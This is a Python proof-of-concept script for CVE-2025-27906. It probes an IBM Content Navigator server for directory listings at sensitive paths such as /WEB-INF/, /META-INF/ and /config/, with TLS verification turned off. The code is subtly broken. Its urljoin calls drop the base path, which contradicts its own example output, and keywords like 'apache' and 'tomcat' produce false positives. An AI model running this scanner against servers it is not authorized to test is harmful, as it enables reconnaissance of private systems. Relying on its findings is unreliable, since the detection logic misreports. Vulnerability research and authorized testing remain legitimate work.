CVE-2025-27906：IBM Content Navigator目录列表泄露漏洞

# CVE-2025-27906 PoC - IBM Content Navigator Directory Listing Exposure # This PoC demonstrates how to detect directory listing exposure in IBM Content Navigator import requests import sys from urllib.parse import urljoin def check_directory_listing(base_url, paths): """ Check if directory listing is enabled on the target IBM Content Navigator server. Args: base_url: The base URL of the target application paths: List of directory paths to check Returns: List of vulnerable paths """ vulnerable_paths = [] # Common directory listing indicators in HTML response indicators = [ "Index of /", "Directory Listing", "Parent Directory", "<title>Index of", "apache", "tomcat" ] for path in paths: target_url = urljoin(base_url, path) try: response = requests.get(target_url, timeout=10, verify=False) # Check if the response contains directory listing indicators for indicator in indicators: if indicator.lower() in response.text.lower(): print(f"[+] VULNERABLE: Directory listing found at {target_url}") vulnerable_paths.append(target_url) break else: print(f"[-] Not vulnerable: {target_url}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {target_url}: {e}") return vulnerable_paths def main(): if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} https://target-server/icn") sys.exit(1) base_url = sys.argv[1] # Common paths to check in IBM Content Navigator paths_to_check = [ "/", "/WEB-INF/", "/META-INF/", "/config/", "/documents/", "/templates/", "/navigator/", "/plugin/", "/lib/", "/css/", "/js/", "/images/", "/WEB-INF/classes/", "/WEB-INF/lib/" ] print(f"[*] Checking directory listing on {base_url}") print(f"[*] CVE-2025-27906 - IBM Content Navigator Directory Listing Exposure") print("-" * 60) vulnerable = check_directory_listing(base_url, paths_to_check) print("-" * 60) if vulnerable: print(f"[+] Found {len(vulnerable)} vulnerable paths:") for url in vulnerable: print(f" - {url}") print("\n[!] Recommendation: Apply IBM security patch to fix CVE-2025-27906") else: print("[-] No directory listing vulnerabilities found.") if __name__ == "__main__": main() # Example usage: # python poc.py https://vulnerable-icn-server.example.com/icn # # Expected output for vulnerable server: # [+] VULNERABLE: Directory listing found at https://vulnerable-icn-server.example.com/icn/WEB-INF/